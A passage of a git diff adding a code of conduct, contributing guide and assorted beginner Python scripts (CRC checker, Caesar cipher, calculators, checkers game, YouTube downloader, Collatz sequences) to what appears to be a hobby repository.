education, socio-economic status, nationality, personal +appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or + advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at . All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see +https://www.contributor-covenant.org/faq diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000000..24cde27bebc --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,92 @@ +# Contributing Notepad Sorting + +When contributing to this repository, please first discuss the change you wish to make via issue, +email, or any other method with the owners of this repository before making a change. + +Please note we have a code of conduct, please follow it in all your interactions with the project. + +## Pull Request Process + +1. Ensure any install or build dependencies are removed before the end of the layer when doing a + build. +2. Update the README.md with details of changes to the interface, this includes new environment + variables, exposed ports, useful file locations and container parameters. +3. Increase the version numbers in any examples files and the README.md to the new version that this + Pull Request would represent. The versioning scheme we use is [SemVer](http://semver.org/). +4. You may merge the Pull Request in once you have the sign-off of two other developers, or if you + do not have permission to do that, you may request the second reviewer to merge it for you. + +## Code of Conduct + +### Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, gender identity and expression, level of experience, +nationality, personal appearance, race, religion, or sexual identity and +orientation. + +### Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or +advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +### Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +### Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +### Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at [INSERT EMAIL ADDRESS]. All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +### Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/CRC/crc.py b/CRC/crc.py new file mode 100644 index 00000000000..d3d302244b7 --- /dev/null +++ b/CRC/crc.py @@ -0,0 +1,55 @@ +def crc_check(data, div): + l = len(div) + ct = 0 + data = [int(i) for i in data] + div = [int(i) for i in div] + zero = [0 for i in range(l)] + temp_data = [data[i] for i in range(l)] + result = [] + for j in range(len(data) - len(div) + 1): + print("Temp_dividend", temp_data) + msb = temp_data[0] + if msb == 0: + result.append(0) + for i in range(l - 1, -1, -1): + temp_data[i] = temp_data[i] ^ zero[i] + else: + result.append(1) + for i in range(l - 1, -1, -1): + temp_data[i] = temp_data[i] ^ div[i] + temp_data.pop(0) + if l + j < len(data): + temp_data.append(data[l + j]) + crc = temp_data + print("Quotient: ", result, "remainder", crc) + return crc + + +# returning crc value + + +while 1 > 0: + print("Enter data: ") + data = input() # can use it like int(input()) + print("Enter divisor") + div = input() # can use it like int(input()) + original_data = data + data = data + ("0" * (len(div) - 1)) + crc = crc_check(data, div) + crc_str = "" + for c in crc: + crc_str += c + print("Sent data: ", original_data + crc_str) + sent_data = original_data + crc_str + print( + "If again applying CRC algorithm, the remainder/CRC must be zero if errorless." + ) + crc = crc_check(sent_data, div) + remainder = crc + print("Receiver side remainder: ", remainder) + print("Continue [Y/N]:") + ch = input() + if ch == "N" or ch == "n": + break + else: + continue diff --git a/CSV_file.py b/CSV_file.py new file mode 100644 index 00000000000..ba7e4154b93 --- /dev/null +++ b/CSV_file.py @@ -0,0 +1,16 @@ +import pandas as pd + +# loading the dataset + +df = pd.read_csv( + r"c:\PROJECT\Drug_Recommendation_System\drug_recommendation_system\Drugs_Review_Datasets.csv" +) + +print(df) # prints Dataset +# funtions +print(df.tail()) +print(df.head()) +print(df.info()) +print(df.describe()) +print(df.column) +print(df.shape()) diff --git a/Caesar Cipher Encoder & Decoder.py b/Caesar Cipher Encoder & Decoder.py new file mode 100644 index 00000000000..0db15ae6911 --- /dev/null +++ b/Caesar Cipher Encoder & Decoder.py @@ -0,0 +1,65 @@ +# PROJECT1 +# CAESAR CIPHER ENCODER/DECODER + +# Author: InTruder +# Cloned from: https://github.com/InTruder-Sec/caesar-cipher + +# Improved by: OfficialAhmed (https://github.com/OfficialAhmed) + + +def get_int() -> int: + """ + Get integer, otherwise redo + """ + + try: + key = int(input("Enter number of characters you want to shift: ")) + except: + print("Enter an integer") + key = get_int() + + return key + + +def main(): + print("[>] CAESAR CIPHER DECODER!!! \n") + print("[1] Encrypt\n[2] Decrypt") + + match input("Choose one of the above(example for encode enter 1): "): + case "1": + encode() + + case "2": + decode() + + case _: + print("\n[>] Invalid input. Choose 1 or 2") + main() + + +def encode(): + encoded_cipher = "" + text = input("Enter text to encode: ") + key = get_int() + + for char in text: + ascii = ord(char) + key + encoded_cipher += chr(ascii) + + print(f"Encoded text: {encoded_cipher}") + + +def decode(): + decoded_cipher = "" + cipher = input("\n[>] Enter your cipher text: ") + key = get_int() + + for character in cipher: + ascii = ord(character) - key + decoded_cipher += chr(ascii) + + print(decoded_cipher) + + +if __name__ == "__main__": + main() diff --git a/Calculate resistance.py b/Calculate resistance.py new file mode 100644 index 00000000000..06dff0b5723 --- /dev/null +++ b/Calculate resistance.py @@ -0,0 +1,18 @@ +def res(R1, R2): + sum = R1 + R2 + if option == "series": + return sum + elif option == "parallel": + return (R1 * R2) / sum + return 0 + + +Resistance1 = int(input("Enter R1 : ")) +Resistance2 = int(input("Enter R2 : ")) +option = input("Enter series or parallel :") +print("\n") +R = res(Resistance1, Resistance2) +if R == 0: + print("Wrong Input!!") +else: + print("The total resistance is", R) diff --git a/Calculator with simple ui.py b/Calculator with simple ui.py new file mode 100644 index 00000000000..122156a3cfd --- /dev/null +++ b/Calculator with simple ui.py @@ -0,0 +1,98 @@ +# Program make a simple calculator + + +class Calculator: + def __init__(self): + pass + + def add(self, num1, num2): + """ + This function adds two numbers. + + Examples: + >>> add(2, 3) + 5 + >>> add(5, 9) + 14 + >>> add(-1, 2) + 1 + """ + return num1 + num2 + + def subtract(self, num1, num2): + """ + This function subtracts two numbers. + + Examples: + >>> subtract(5, 3) + 2 + >>> subtract(9, 5) + 4 + >>> subtract(4, 9) + -5 + """ + return num1 - num2 + + def multiply(self, num1, num2): + """ + This function multiplies two numbers. + + Examples: + >>> multiply(4, 2) + 8 + >>> multiply(3, 3) + 9 + >>> multiply(9, 9) + 81 + """ + return num1 * num2 + + def divide(self, num1, num2): + """ + This function divides two numbers. + + Examples: + >>> divide(4, 4) + 1 + >>> divide(6, 3) + 2 + >>> divide(9, 1) + 9 + """ + if num2 == 0: + print("Cannot divide by zero") + else: + return num1 / num2 + + +calculator = Calculator() + + +print("1.Add") +print("2.Subtract") +print("3.Multiply") +print("4.Divide") + +while True: + # Take input from the user + choice = input("Enter choice(1/2/3/4): ") + + # Check if choice is one of the four options + if choice in ("1", "2", "3", "4"): + num1 = float(input("Enter first number: ")) + num2 = float(input("Enter second number: ")) + + if choice == "1": + print(calculator.add(num1, num2)) + + elif choice == "2": + print(calculator.subtract(num1, num2)) + + elif choice == "3": + print(calculator.multiply(num1, num2)) + + elif choice == "4": + print(calculator.divide(num1, num2)) + break + else: + print("Invalid Input") diff --git a/Calendar (GUI).py b/Calendar (GUI).py new file mode 100644 index 00000000000..648f60bff9f --- /dev/null +++ b/Calendar (GUI).py @@ -0,0 +1,42 @@ +from tkinter import * +import calendar + +root = Tk() +# root.geometry("400x300") +root.title("Calendar") + +# Function + + +def text(): + month_int = int(month.get()) + year_int = int(year.get()) + cal = calendar.month(year_int, month_int) + textfield.delete(0.0, END) + textfield.insert(INSERT, cal) + + +# Creating Labels +label1 = Label(root, text="Month:") +label1.grid(row=0, column=0) + +label2 = Label(root, text="Year:") +label2.grid(row=0, column=1) + +# Creating spinbox +month = Spinbox(root, from_=1, to=12, width=8) +month.grid(row=1, column=0, padx=5) + +year = Spinbox(root, from_=2000, to=2100, width=10) +year.grid(row=1, column=1, padx=10) + +# Creating Button +button = Button(root, text="Go", command=text) +button.grid(row=1, column=2, padx=10) + +# Creating Textfield +textfield = Text(root, width=25, height=10, fg="red") +textfield.grid(row=2, columnspan=2) + + +root.mainloop() diff --git a/Cat/cat.py b/Cat/cat.py new file mode 100644 index 00000000000..0c9ba120255 --- /dev/null +++ b/Cat/cat.py @@ -0,0 +1,64 @@ +""" +The 'cat' Program Implemented in Python 3 + +The Unix 'cat' utility reads the contents +of file(s) specified through stdin and 'conCATenates' +into stdout. If it is run without any filename(s) given, +then the program reads from standard input itself, +which means it simply copies stdin to stdout. + +It is fairly easy to implement such a program +in Python, and as a result countless examples +exist online. This particular implementation +focuses on the basic functionality of the cat +utility. Compatible with Python 3.6 or higher. + +Syntax: +python3 cat.py [filename1] [filename2] etc... +Separate filenames with spaces. + +David Costell (DontEatThemCookies on GitHub) +v2 - 03/12/2022 +""" + +import sys + + +def with_files(files): + """Executes when file(s) is/are specified.""" + try: + # Read each file's contents and store them + file_contents = [contents for contents in [open(file).read() for file in files]] + except OSError as err: + # This executes when there's an error (e.g. FileNotFoundError) + exit(print(f"cat: error reading files ({err})")) + + # Write all file contents into the standard output stream + for contents in file_contents: + sys.stdout.write(contents) + + +def no_files(): + """Executes when no file(s) is/are specified.""" + try: + # Get input, output the input, repeat + while True: + print(input()) + # Graceful exit for Ctrl + C, Ctrl + D + except KeyboardInterrupt: + exit() + except EOFError: + exit() + + +def main(): + """Entry point of the cat program.""" + # Read the arguments passed to the program + if not sys.argv[1:]: + no_files() + else: + with_files(sys.argv[1:]) + + +if __name__ == "__main__": + main() diff --git a/Cat/text_a.txt b/Cat/text_a.txt new file mode 100644 index 00000000000..64da084448b --- /dev/null +++ b/Cat/text_a.txt @@ -0,0 +1,7 @@ +Sample Text Here + +Lorem ipsum, dolor sit amet. +Hello, +World! + +ABCD 1234 diff --git a/Cat/text_b.txt b/Cat/text_b.txt new file mode 100644 index 00000000000..359622ed342 --- /dev/null +++ b/Cat/text_b.txt @@ -0,0 +1,8 @@ +I am another sample text file. + +The knights who say ni! + +Lines +of +Text! +This file does not end with a newline. \ No newline at end of file diff --git a/Cat/text_c.txt b/Cat/text_c.txt new file mode 100644 index 00000000000..d6b40d9f971 --- /dev/null +++ b/Cat/text_c.txt @@ -0,0 +1,3 @@ +I am the beginning of yet another text file. + +Spam and eggs. diff --git a/Checker_game_by_dz/__init__.py b/Checker_game_by_dz/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/Checker_game_by_dz/assets/crown.png b/Checker_game_by_dz/assets/crown.png new file mode 100644 index 00000000000..94f6efd638f Binary files /dev/null and b/Checker_game_by_dz/assets/crown.png differ diff --git a/Checker_game_by_dz/first.py b/Checker_game_by_dz/first.py new file mode 100644 index 00000000000..0b6825590f8 --- /dev/null +++ b/Checker_game_by_dz/first.py @@ -0,0 +1,60 @@ +""" +Author : Dhruv B Kakadiya + +""" + +# import libraries +import pygame as pg +from modules import statics as st +from modules.statics import * +from modules.checker_board import * +from modules.checker import * + +# static variables for this perticular file +fps = 60 + +WIN = pg.display.set_mode((st.width, st.height)) +pg.display.set_caption("Checkers") + + +# get row and col for mouse +def get_row_col_mouse(pos): + x, y = pos + row = y // sq_size + col = x // sq_size + return row, col + + +# main function +if __name__ == "__main__": + # represents the game + run = True + + # certain clock value default because it is varries from diff pc to pc + clock = pg.time.Clock() + + # create board + board = checker_board() + game = checker(WIN) + + # main loop + while run: + clock.tick(fps) + + if board.winner() != None: + print(board.winner()) + + # check if any events is running or not + for event in pg.event.get(): + if event.type == pg.QUIT: + run = False + + if event.type == pg.MOUSEBUTTONDOWN: + pos = pg.mouse.get_pos() + row, col = get_row_col_mouse(pos) + game.selectrc(row, col) + # piece = board.get_piece(row, col) + # board.move(piece, 4, 3) + + game.update() + pg.quit() diff --git a/Checker_game_by_dz/modules/__init__.py b/Checker_game_by_dz/modules/__init__.py new file mode 100644 index 00000000000..78dc4841952 --- /dev/null +++ b/Checker_game_by_dz/modules/__init__.py @@ -0,0 +1,4 @@ +""" +Auhtor : Dhruv B Kakadiya + +""" diff --git a/Checker_game_by_dz/modules/checker.py b/Checker_game_by_dz/modules/checker.py new file mode 100644 index 00000000000..8525435aef0 --- /dev/null +++ b/Checker_game_by_dz/modules/checker.py @@ -0,0 +1,77 @@ +""" +Author : Dhruv B Kakadiya + +""" + +import pygame as pg +from .checker_board import * +from .statics import * +from .pieces import * + + +class checker: + def __init__(self, window): + self._init() + self.window = window + + # to update the position + def update(self): + self.board.draw(self.window) + self.draw_moves(self.valid_moves) + pg.display.update() + + def _init(self): + self.select = None + self.board = checker_board() + self.turn = black + self.valid_moves = {} + + # to reset the position + def reset(self): + self._init() + + # select row and column + def selectrc(self, row, col): + if self.select: + result = self._move(row, col) + if not result: + self.select = None + + piece = self.board.get_piece(row, col) + if (piece != 0) and (piece.color == self.turn): + self.select = piece + self.valid_moves = self.board.get_valid_moves(piece) + return True + return False + + # to move the pieces + def _move(self, row, col): + piece = self.board.get_piece(row, col) + if (self.select) and (piece == 0) and (row, col) in self.valid_moves: + self.board.move(self.select, row, col) + skip = self.valid_moves[(row, col)] + if skip: + self.board.remove(skip) + self.chg_turn() + else: + return False + return True + + # to draw next possible move + def draw_moves(self, moves): + for move in moves: + row, col = move + pg.draw.circle( + self.window, + red, + (col * sq_size + sq_size // 2, row * sq_size + sq_size // 2), + 15, + ) + + # for changing the turn + def chg_turn(self): + self.valid_moves = {} + if self.turn == black: + self.turn = white + else: + self.turn = black diff --git a/Checker_game_by_dz/modules/checker_board.py b/Checker_game_by_dz/modules/checker_board.py new file mode 100644 index 00000000000..0e8615ee292 --- /dev/null +++ b/Checker_game_by_dz/modules/checker_board.py @@ -0,0 +1,182 @@ +""" +Author : Dhruv B Kakadiya + +""" + +import pygame as pg +from .statics import * +from .pieces import * + + +# checker board creation +class checker_board: + def __init__(self): + self.board = [] + self.selected = None + self.black_l = self.white_l = 12 + self.black_k = self.white_k = 0 + self.create_board() + + # to design the board + def draw_cubes(self, window): + window.fill(green) + for row in range(rows): + for col in range(row % 2, cols, 2): + pg.draw.rect( + window, yellow, (row * sq_size, col * sq_size, sq_size, sq_size) + ) + + def move(self, piece, row, col): + self.board[piece.row][piece.col], self.board[row][col] = ( + self.board[row][col], + self.board[piece.row][piece.col], + ) + piece.move(row, col) + if row == rows - 1 or row == 0: + piece.make_king() + if piece.color == white: + self.white_k += 1 + else: + self.black_k += 1 + + # to get piece whatever they want + def get_piece(self, row, col): + return self.board[row][col] + + def create_board(self): + for row in range(rows): + self.board.append([]) + for col in range(cols): + if col % 2 == ((row + 1) % 2): + if row < 3: + self.board[row].append(pieces(row, col, white)) + elif row > 4: + self.board[row].append(pieces(row, col, black)) + else: + self.board[row].append(0) + else: + self.board[row].append(0) + + def draw(self, window): + self.draw_cubes(window) + for row in range(rows): + for col in range(cols): + piece = self.board[row][col] + if piece != 0: + piece.draw(window) + + def get_valid_moves(self, piece): + moves = {} + l = piece.col - 1 + r = piece.col + 1 + row = piece.row + + if piece.color == black or piece.king: + moves.update( + self._traverse_l(row - 1, max(row - 3, -1), -1, piece.color, l) + ) + moves.update( + self._traverse_r(row - 1, max(row - 3, -1), -1, piece.color, r) + ) + + if piece.color == white or piece.king: + moves.update( + self._traverse_l(row + 1, min(row + 3, rows), 1, piece.color, l) + ) + moves.update( + self._traverse_r(row + 1, min(row + 3, rows), 1, piece.color, r) + ) + + return moves + + def remove(self, pieces): + for piece in pieces: + self.board[piece.row][piece.col] = 0 + if piece != 0: + if piece.color == black: + self.black_l -= 1 + else: + self.white_l -= 1 + + def winner(self): + if self.black_l <= 0: + return white + elif self.white_l <= 0: + return black + return None + + # Traversal Left + def _traverse_l(self, start, stop, step, color, l, skip=[]): + moves = {} + last = [] + for r in range(start, stop, step): + if l < 0: + break + current = self.board[r][l] + if current == 0: + if skip and not last: + break + elif skip: + moves[(r, l)] = last + skip + else: + moves[(r, l)] = last + + if last: + if step == -1: + row = max(r - 3, 0) + else: + row = min(r + 3, rows) + moves.update( + self._traverse_l(r + step, row, step, color, l - 1, skip=last) + ) + moves.update( + self._traverse_r(r + step, row, step, color, l + 1, skip=last) + ) + break + + elif current.color == color: + break + else: + last = [current] + l -= 1 + return moves + + # Traversal Right + def _traverse_r(self, start, stop, step, color, right, skip=[]): + moves = {} + last = [] + for r in range(start, stop, step): + if right >= cols: + break + current = self.board[r][right] + if current == 0: + if skip and not last: + break + elif skip: + moves[(r, right)] = last + skip + else: + moves[(r, right)] = last + + if last: + if step == -1: + row = max(r - 3, 0) + else: + row = min(r + 3, rows) + moves.update( + self._traverse_l( + r + step, row, step, color, right - 1, skip=last + ) + ) + moves.update( + self._traverse_r( + r + step, row, step, color, right + 1, skip=last + ) + ) + break + + elif current.color == color: + break + else: + last = [current] + right += 1 + return moves diff --git a/Checker_game_by_dz/modules/pieces.py b/Checker_game_by_dz/modules/pieces.py new file mode 100644 index 00000000000..3298836e1a6 --- /dev/null +++ b/Checker_game_by_dz/modules/pieces.py @@ -0,0 +1,54 @@ +""" +Author : Dhruv B Kakadiya + +""" + +from .statics import * +import pygame as pg + + +class pieces: + padding = 17 + outline = 2 + + def __init__(self, row, col, color): + self.row = row + self.col = col + self.color = color + self.king = False + + """if (self.color == yellow): + self.direction = -1 + else: + self.direction = 1""" + + self.x = self.y = 0 + self.calculate_pos() + + # calculate the positions + def calculate_pos(self): + self.x = (sq_size * self.col) + (sq_size // 2) + self.y = (sq_size * self.row) + (sq_size // 2) + + # for making king + def make_king(self): + self.king = True + + def draw(self, window): + radd = (sq_size // 2) - self.padding + pg.draw.circle(window, gray, (self.x, self.y), radd + self.outline) + pg.draw.circle(window, self.color, (self.x, self.y), radd) + if self.king: + window.blit( + crown, + ((self.x - crown.get_width() // 2), (self.y - crown.get_height() // 2)), + ) + + def move(self, row, col): + self.row = row + self.col = col + self.calculate_pos() + + # represtation as a string + def __repr__(self): + return str(self.color) diff --git a/Checker_game_by_dz/modules/statics.py b/Checker_game_by_dz/modules/statics.py new file mode 100644 index 00000000000..564d93a41c6 --- /dev/null +++ b/Checker_game_by_dz/modules/statics.py @@ -0,0 +1,23 @@ +""" +Author : Dhruv B Kakadiya + +""" + +import pygame as pg + +# size of board +width, height = 800, 800 +rows, cols = 8, 8 +sq_size = width // cols + +# colours for board +yellow = (255, 255, 0) +white = (255, 255, 255) +green = (0, 255, 0) +gray = (128, 128, 128) +red = (255, 0, 0) + +# colour for for next move +black = (0, 0, 0) + +crown = pg.transform.scale(pg.image.load("assets/crown.png"), (45, 25)) diff --git a/Chrome Dino Automater.py b/Chrome Dino Automater.py new file mode 100644 index 00000000000..60cb1e409be --- /dev/null +++ b/Chrome Dino Automater.py @@ -0,0 +1,54 @@ +import pyautogui # pip install pyautogui +from PIL import ImageGrab # pip install pillow + +# from numpy import asarray +import time + + +def hit(key): + pyautogui.press(key) + return + + +def isCollide(data): + # for cactus + for i in range(329, 425): + for j in range(550, 650): + if data[i, j] < 100: + hit("up") + return + + # Draw the rectangle for birds + # for i in range(310, 425): + # for j in range(390, 550): + # if data[i, j] < 100: + # hit("down") + # return + + # return + + +if __name__ == "__main__": + print("Hey.. Dino game about to start in 3 seconds") + time.sleep(2) + # hit('up') + + while True: + image = ImageGrab.grab().convert("L") + data = image.load() + isCollide(data) + + # print(aarray(image)) + + # Draw the rectangle for cactus + # for i in range(315, 425): + # for j in range(550, 650): + # data[i, j] = 0 + + # # # # # Draw the rectangle for birds + # for i in range(310, 425): + # for j in range(390, 550): + # data[i, j] = 171 + + # image.show() + # break diff --git a/Classification_human_or_horse.py b/Classification_human_or_horse.py new file mode 100644 index 00000000000..4aa069a855a --- /dev/null +++ b/Classification_human_or_horse.py @@ -0,0 +1,54 @@ +import pickle + +import tensorflow as tf + +model = tf.keras.models.Sequential( + [ + tf.keras.layers.Conv2D( + 16, (3, 3), activation="relu", input_shape=(200, 200, 3) + ), + tf.keras.layers.MaxPooling2D(2, 2), + tf.keras.layers.Conv2D(16, (3, 3), activation="relu"), + tf.keras.layers.MaxPooling2D(2, 2), + tf.keras.layers.Conv2D(16, (3, 3), activation="relu"), + tf.keras.layers.MaxPooling2D(2, 2), + tf.keras.layers.Flatten(), + tf.keras.layers.Dense(512, activation="relu"), + tf.keras.layers.Dense(1, activation="sigmoid"), + ] +) +model.summary() +from tensorflow.keras.optimizers import RMSprop + +model.compile(optimizer=RMSprop(lr=0.001), loss="binary_crossentropy", metrics=["acc"]) +from tensorflow.keras.preprocessing.image import ImageDataGenerator + +train_datagen = ImageDataGenerator(rescale=1 / 255) +train_generator = train_datagen.flow_from_directory( + "../Classification_human-or-horse", + target_size=(200, 200), + batch_size=222, + class_mode="binary", +) +model.fit_generator(train_generator, steps_per_epoch=6, epochs=1, verbose=1) +filename = "myTf1.sav" +pickle.dump(model, open(filename, "wb")) + +from tkinter import Tk +from tkinter.filedialog import askopenfilename +from keras.preprocessing import image +import numpy as np + +Tk().withdraw() +filename = askopenfilename() +print(filename) +img = image.load_img(filename, target_size=(200, 200)) +x = image.img_to_array(img) +x = np.expand_dims(x, axis=0) +images = np.vstack([x]) +classes = model.predict(images, batch_size=10) +print(classes[0]) +if classes[0] > 0.5: + print(filename + " is a human") +else: + print(filename + " is a horse") diff --git a/CliYoutubeDownloader.py b/CliYoutubeDownloader.py new file mode 100644 index 00000000000..a177b65b891 --- /dev/null +++ b/CliYoutubeDownloader.py @@ -0,0 +1,88 @@ +from pytube import * +import sys + + +class YouTubeDownloder: + def __init__(self): + self.url = str(input("Enter the url of video : ")) + self.youtube = YouTube( + self.url, on_progress_callback=YouTubeDownloder.onProgress + ) + self.showTitle() + + def showTitle(self): + print("title : {0}\n".format(self.youtube.title)) + self.showStreams() + + def showStreams(self): + self.streamNo = 1 + for stream in self.youtube.streams: + print( + "{0} => resolation:{1}/fps:{2}/type:{3}".format( + self.streamNo, stream.resolution, stream.fps, stream.type + ) + ) + self.streamNo += 1 + self.chooseStream() + + def chooseStream(self): + self.choose = int(input("please select one : ")) + self.validateChooseValue() + + def validateChooseValue(self): + if self.choose in range(1, self.streamNo): + self.getStream() + else: + print("please enter a currect option on the list.") + self.chooseStream() + + def getStream(self): + self.stream = self.youtube.streams[self.choose - 1] + self.getFileSize() + + def getFileSize(self): + global file_size + file_size = self.stream.filesize / 1000000 + self.getPermisionToContinue() + + def getPermisionToContinue(self): + print( + "\n title : {0} \n author : {1} \n size : {2:.2f}MB \n resolution : {3} \n fps : {4} \n ".format( + self.youtube.title, + self.youtube.author, + file_size, + self.stream.resolution, + self.stream.fps, + ) + ) + if input("do you want it ?(defualt = (y)es) or (n)o ") == "n": + self.showStreams() + else: + self.main() + + def download(self): + self.stream.download() + + @staticmethod + def onProgress(stream=None, chunk=None, remaining=None): + file_downloaded = file_size - (remaining / 1000000) + print( + f"downloading ... {file_downloaded / file_size * 100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", + end="\r", + ) + + def main(self): + try: + self.download() + except KeyboardInterrupt: + print("Canceled. ") + sys.exit(0) + + +if __name__ == "__main__": + try: + YouTubeDownloder() + except KeyboardInterrupt: + pass + except Exception as e: + print(e) diff --git a/CliYoutubeDownloader/CliYoutubeDownloader.py b/CliYoutubeDownloader/CliYoutubeDownloader.py new file mode 100644 index 00000000000..63a7d5fb84b --- /dev/null +++ b/CliYoutubeDownloader/CliYoutubeDownloader.py @@ -0,0 +1,90 @@ +# libraraies + +import sys +import pytube + + +class YouTubeDownloder: + def __init__(self): + self.url = str(input("Enter the URL of video : ")) + self.youtube = pytube.YouTube( + self.url, on_progress_callback=YouTubeDownloder.onProgress + ) + self.showTitle() + + def showTitle(self): + print("title : {0}\n".format(self.youtube.title)) + self.showStreams() + + def showStreams(self): + self.streamNo = 1 + for stream in self.youtube.streams: + print( + "{0} => resolution:{1}/fps:{2}/type:{3}".format( + self.streamNo, stream.resolution, stream.fps, stream.type + ) + ) + self.streamNo += 1 + self.chooseStream() + + def chooseStream(self): + self.choose = int(input("Please select one : ")) + self.validateChooseValue() + + def validateChooseValue(self): + if self.choose in range(1, self.streamNo): + self.getStream() + else: + print("Please enter a correct option on the list.") + self.chooseStream() + + def getStream(self): + self.stream = self.youtube.streams[self.choose - 1] + self.getFileSize() + + def getFileSize(self): + global file_size + file_size = self.stream.filesize / 1000000 + self.getPermisionToContinue() + + def getPermisionToContinue(self): + print( + "\n Title : {0} \n Author : {1} \n Size : {2:.2f}MB \n Resolution : {3} \n FPS : {4} \n ".format( + self.youtube.title, + self.youtube.author, + file_size, + self.stream.resolution, + self.stream.fps, + ) + ) + if input("Do you want it ?(default = (y)es) or (n)o ") == "n": + self.showStreams() + else: + self.main() + + def download(self): + self.stream.download() + + @staticmethod + def onProgress(stream=None, chunk=None, remaining=None): + file_downloaded = file_size - (remaining / 1000000) + print( + f"Downloading ... {file_downloaded / file_size * 100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", + end="\r", + ) + + def main(self): + try: + self.download() + except KeyboardInterrupt: + print("Canceled. ") + sys.exit(0) + + +if __name__ == "__main__": + try: + YouTubeDownloder() + except KeyboardInterrupt: + pass + except Exception as e: + print(e) diff --git a/CliYoutubeDownloader/requirements.txt b/CliYoutubeDownloader/requirements.txt new file mode 100644 index 00000000000..30257302458 --- /dev/null +++ b/CliYoutubeDownloader/requirements.txt @@ -0,0 +1 @@ +pytube \ No newline at end of file diff --git a/Collatz Sequence/Collatz Sequence.py b/Collatz Sequence/Collatz Sequence.py new file mode 100644 index 00000000000..ef59796263e --- /dev/null +++ b/Collatz Sequence/Collatz Sequence.py @@ -0,0 +1,24 @@ +def collatz_sequence(n): + """Generate and print the Collatz sequence for n.""" + steps = [n] + while n != 1: + if n % 2 == 0: + n = n // 2 + else: + n = 3 * n + 1 + steps.append(n) + return steps + + +# --- Main Program --- +try: + num = int(input("Enter a positive integer: ")) + if num <= 0: + print("Please enter a positive number greater than 0.") + else: + sequence = collatz_sequence(num) + print("\nCollatz sequence:") + for i, value in enumerate(sequence, start=1): + print(f"Step {i}: {value}") +except ValueError: + print("Invalid input! Please enter an integer.") diff --git a/Collatz-Conjecture.py b/Collatz-Conjecture.py new file mode 100644 index 00000000000..bafea8c6d41 --- /dev/null +++ b/Collatz-Conjecture.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 + +# Recommended: Python 3.6+ + +""" +Collatz Conjecture - Python + +The Collatz conjecture, also known as the +3x + 1 problem, is a mathematical conjecture +concerning a certain sequence. This sequence +operates on any input number in such a way +that the output will always reach 1. + +The Collatz conjecture is most famous for +harboring one of the unsolved problems in +mathematics: does the Collatz sequence really +reach 1 for all positive integers? + +This program takes any input integer +and performs a Collatz sequence on them. +The expected behavior is that any number +inputted will always reach a 4-2-1 loop. + +Do note that Python is limited in terms of +number size, so any enormous numbers may be +interpreted as infinity, and therefore +incalculable, by Python. This limitation +was only observed in CPython, so other +implementations may or may not differ. + +1/2/2022 - Revision 1 of Collatz-Conjecture +David Costell (DontEatThemCookies on GitHub) +""" + +import math + +print("Collatz Conjecture (Revised)\n") + + +def main(): + # Get the input + number = 